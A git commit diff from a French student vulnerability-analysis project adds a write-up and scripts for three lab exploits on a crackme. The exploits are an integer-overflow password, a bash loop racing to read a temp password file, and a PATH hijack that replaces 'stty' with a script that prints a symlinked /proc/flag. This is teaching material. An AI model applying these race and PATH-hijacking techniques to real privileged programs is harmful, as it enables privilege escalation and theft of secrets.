Finish projet AVL
This commit is contained in:
parent
e3f240bcab
commit
4782c624a5
8 changed files with 64 additions and 29 deletions
7
analyse-vulnerabilite-logicielle/projet/3_race_projetpart3.sh
Executable file
7
analyse-vulnerabilite-logicielle/projet/3_race_projetpart3.sh
Executable file
|
@ -0,0 +1,7 @@
|
|||
#!/bin/bash
|
||||
|
||||
vault_file="/tmp/.lock-$(pidof projetpart3)"
|
||||
echo "Trying to read $vault_file..."
|
||||
while ! cat "$vault_file" 2>/dev/null; do
|
||||
true
|
||||
done
|
|
@ -1,21 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import time
|
||||
import os
|
||||
import pty
|
||||
|
||||
pid, fd = pty.fork()
|
||||
|
||||
if pid == 0: # le fils
|
||||
os.execle("./target", "./projetpart1", os.environ)
|
||||
exit(0)
|
||||
else: # le pere
|
||||
lock = "/tmp/.lock-%d" % pid
|
||||
print("pid = %s, lock = %s" % (pid, lock))
|
||||
|
||||
os.write(fd, "83648\n")
|
||||
|
||||
while True:
|
||||
os.write(1,os.read(fd,1))
|
||||
|
||||
os.wait()
|
BIN
analyse-vulnerabilite-logicielle/projet/img/3_2_race.png
Normal file
BIN
analyse-vulnerabilite-logicielle/projet/img/3_2_race.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 26 KiB |
BIN
analyse-vulnerabilite-logicielle/projet/img/3_3_flag.png
Normal file
BIN
analyse-vulnerabilite-logicielle/projet/img/3_3_flag.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 79 KiB |
BIN
analyse-vulnerabilite-logicielle/projet/img/3_3_stty_fail.png
Normal file
BIN
analyse-vulnerabilite-logicielle/projet/img/3_3_stty_fail.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 20 KiB |
BIN
analyse-vulnerabilite-logicielle/projet/img/3_3_test.png
Normal file
BIN
analyse-vulnerabilite-logicielle/projet/img/3_3_test.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 25 KiB |
Binary file not shown.
Before Width: | Height: | Size: 18 KiB |
|
@ -175,7 +175,6 @@
|
|||
|
||||
Nous avons de la chance, la \texttt{libc} contient la chaîne de caractère \texttt{/bin/sh}.
|
||||
On va donc pouvoir récupérer son adresse pour l'inclure dans notre payload~:
|
||||
%TODO
|
||||
|
||||
\begin{console}[gobble=28]
|
||||
pwndbg> search /bin/sh
|
||||
|
@ -323,22 +322,72 @@
|
|||
|
||||
Ceci nous informe que la fonction utilise le type \texttt{int}, qui est encodé sur 32 bits.
|
||||
Puisqu'il est signé, nous n'avons que 31 bits pour encoder la valeur absolue.
|
||||
Or $2\up{31} = 2147483648$, donc il suffit d'envoyer une valeur plus grande pour faire planter le programme.
|
||||
On peut aussi envoyer la valeur négative, ce qui revient au même.
|
||||
Or $2\up{31} = 2147483648$, donc il suffit d'envoyer la valeur négative pour faire planter le programme.
|
||||
|
||||
En envoyant -2147483648 au programme, on fait déborder le tampon~:
|
||||
|
||||
\begin{center}
|
||||
\includegraphics[width=0.8\linewidth]{./img/3_projet_cracked.png}
|
||||
\end{center}
|
||||
\begin{console}[gobble=12]
|
||||
$ ./projetpart3
|
||||
IOLI Crackme Level 0x00
|
||||
Password: -2147483648
|
||||
Password OK :)
|
||||
\end{console}
|
||||
|
||||
\item \textcolor{gray}{La deuxième étape peut être réussie en étant plus rapide que le programme pour lire le fichier de mot de passe créé et qui est supprimé juste après (Race condition vulnerability).}
|
||||
|
||||
En regardant le code source \texttt{projetpart3.c}, on peut voir que la deuxième étape fait appel à la fonction \texttt{save\_passwd\_into\_vault} après avoir généré le mot de passe.
|
||||
Cette fonction crée un fichier dans \texttt{/tmp} avec le \texttt{pid} du programme dans le nom de fichier.
|
||||
|
||||
Il faut donc commencer par récupérer ce \texttt{pid}.
|
||||
Puis on essaie de le lire dans une boucle \texttt{while}, en espérant qu'une lecture se fasse dans la courte fenêtre entre l'écriture dans le fichier et sa suppression.
|
||||
|
||||
Ceci donne le script suivant~:
|
||||
|
||||
\lstinputlisting{./3_race_projetpart3.sh}
|
||||
|
||||
On lance le programme, puis le script dans un autre terminal~:
|
||||
|
||||
\includegraphics[width=\linewidth]{./img/3_2_race.png}
|
||||
|
||||
\item \textcolor{gray}{La dernière étape, qui est d'afficher le flag, est liée à une vulnérabilité dans le code de \texttt{snake\_main}.}
|
||||
|
||||
\item \textcolor{gray}{Vous pouvez utiliser le code suivant pour intéragir avec le programme~:}
|
||||
Dans le \texttt{main} du programme \texttt{snake}, on peut voir un appel à \texttt{system}, qui lance la commande \texttt{stty}~:
|
||||
|
||||
\lstinputlisting{./3_template.py}
|
||||
\begin{lstlisting}[gobble=12]
|
||||
if (WEXITSTATUS(system ("stty cbreak -echo stop u")))
|
||||
\end{lstlisting}
|
||||
|
||||
Cette commande est lancée avec son chemin relatif, donc on doit pouvoir modifier le \texttt{PATH} pour remplacer la commande par autre chose, par exemple \texttt{cat}.
|
||||
Pour cela, on commence par ajouter le répertoire courant dans \texttt{PATH}, puis on copie \texttt{/bin/cat} dans le répertoire courant sous le nom de \texttt{stty}~:
|
||||
|
||||
|
||||
\begin{console}[gobble=12]
|
||||
$ PATH=./:$PATH
|
||||
$ cp /bin/cat stty
|
||||
\end{console}
|
||||
|
||||
On va ensuite, pour tester, créer un fichier \texttt{cbreak} (qui correspond à l'argument passé à \texttt{stty} dans le programme), puis on lance \texttt{snake} pour voir si on affiche bien le contenu~:
|
||||
|
||||
\includegraphics[width=\linewidth]{./img/3_3_stty_fail.png}
|
||||
|
||||
Ça n'a pas marché~: les autres arguments de \texttt{stty} ne passent pas pour \texttt{cat}.
|
||||
|
||||
Mais on n'a besoin que du premier argument, donc remplaçons notre faux \texttt{stty} par un script faisant appel à \texttt{cat} avec son premier argument (et ignorant les autres)~:
|
||||
|
||||
\begin{lstlisting}[gobble=12]
|
||||
#!/bin/sh
|
||||
cat $1
|
||||
\end{lstlisting}
|
||||
|
||||
Si on relance le programme \texttt{snake}, cette fois le jeu se lance, et lorsqu'on le quitte on affiche bien le fichier \texttt{cbreak}~:
|
||||
|
||||
\includegraphics[width=\linewidth]{./img/3_3_test.png}
|
||||
|
||||
Remplaçons donc le fichier \texttt{cbreak} par un lien symbolique pointant vers \texttt{/proc/flag}~:
|
||||
|
||||
\includegraphics[width=\linewidth]{./img/3_3_flag.png}
|
||||
|
||||
Nous avons bien réussi à utiliser \texttt{snake} pour afficher le flag.
|
||||
|
||||
\end{enumerate}
|
||||
|
||||
|
|
Loading…
Reference in a new issue